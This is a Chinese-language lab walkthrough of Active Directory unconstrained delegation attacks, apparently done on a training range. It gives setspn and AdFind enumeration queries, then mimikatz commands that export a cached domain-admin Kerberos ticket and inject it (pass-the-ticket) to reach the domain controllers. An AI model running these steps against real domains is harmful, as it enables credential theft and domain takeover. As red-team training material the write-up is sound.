文中主要讲解内网域环境,通过学习掌握域环境,更快知晓内网工作原理。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
委派攻击
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动;简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。
委派攻击分为三种方式:1、非约束委派攻击 2、约束委派攻击 3、基于资源的委派攻击
非约束委派攻击
在域内只有主机账号和服务账号才能有委派属性;主机账号:通过是我们活动目录中的computers组内的计算机,也被称为机器账号。例如:我们的图中的test和hack。是没有委派属性的
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;我们所建立的域用户通过注册SPN也能成为服务账号。
setspn -A https/web web #账号web注册SPN称为服务账号
setspn -d https/web web #取消服务账号,变回初始的域用户账号
写http这个位置是可以随意填写;写成SQLServer,MYSQL都可以。
当此服务账号开启非约束委派功能时,属性编辑器中同样可以看到包含TRUSTED_FOR_DELEGATION字段:
使用工具查询非约束委派:
可以使用powershell脚本,也同样可以使用adfind工具:
这里我们adfind工具来进行非约束委派查询:
参数369是查询非约束委派主机,368是查询非约束委派账户。
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派案例
当域管理使用winrm服务器远程连接域内主机,这时候域管的凭证已缓存于12server2:
Enter-PSSession -ComputerName 12server2 #远程登陆12server2
注:这里是基于委派,如果没有委派则不会将域管凭证存于域内主机。
成功连接12server2:
当我们已使用12server2的administrator权限登陆即可导出相关凭证:
注:这里必须使用administrator,如果使用域用户权限是不能够导出的。
privilege::debug #提升权限
sekurlsa::tickets /export #导出缓存凭证
将此凭证注入内存中生成票据:
未导入之前我们是无法访问的:
kerberos::list #查看票据
kerberos::ptt 凭证名称 #导入凭证
导入后,可成功访问域控ad1和ad2的文件: